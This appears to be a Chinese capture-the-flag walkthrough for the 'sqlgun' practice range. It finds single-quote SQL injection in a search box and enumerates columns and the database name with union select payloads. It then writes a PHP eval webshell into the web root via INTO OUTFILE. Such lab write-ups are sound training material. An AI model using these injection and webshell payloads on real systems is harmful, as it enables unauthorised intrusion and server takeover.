sqlgun靶场通关攻略

尝试在URL中测试一下sql注入,但是禁止注入

那么在输入框中测试一下xss,存在xss,那么极有可能如果存在sql注入在这里

在测试时,出现了这个搜索框的源代码,可以看出是单引号包含,所以可以测试闭合方式为单引号的sql注入

经测试,确实训在sql注入,闭合方式就是单引号

那么接下来测试回显点,得到2,3两个回显点

复制代码
-1' union select 1,2,3#

爆数据库名,得到数据库名sqlgunnews

复制代码
-1' union select 1,database(),3#

既然存在sql注入,那么我们可以尝试一下写入一句话木马进行测试

但是缺少绝对路径

我们对IP进行目录扫描一下看一下有什么可以用的

发现有一个phpinfo.php文件,访问一下

得到网站根目录/var/www/html

那接下来构造payload,将一句话木马写入根目录

复制代码
-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/var/www/html/zxin.php' #

访问zxin.php文件,我们的一句话木马就在进去了

使用蚁剑谅连接一下,成功连接

在根目录中可以找得到falg文件

相关推荐
axban几秒前
QT M/V架构开发实战:QStandardItemModel介绍
开发语言·数据库·qt
没学上了2 分钟前
数据库建立库-Qt
数据库
程序员小羊!21 分钟前
大数据电商流量分析项目实战:Spark SQL 基础(四)
大数据·sql·spark
我是zxb34 分钟前
EasyExcel:快速读写Excel的工具类
数据库·oracle·excel
代码不停43 分钟前
MySQL联合查询
java·数据库·mysql
沐浴露z1 小时前
Redis内存回收:过期策略与淘汰策略
数据库·redis·缓存
宴之敖者、1 小时前
MySQL——数据库基础
数据库·mysql
张3蜂1 小时前
MongoDB BI Connector 详细介绍与使用指南(手动安装方式,CentOS 7 + MongoDB 5.0.5)
数据库·mongodb·centos
春时似衿里2 小时前
jmeter配置数据库连接步骤
数据库·jmeter
喵喵爱自由2 小时前
Ubuntu 24.04 Server 版系统安装及配置
数据库·ubuntu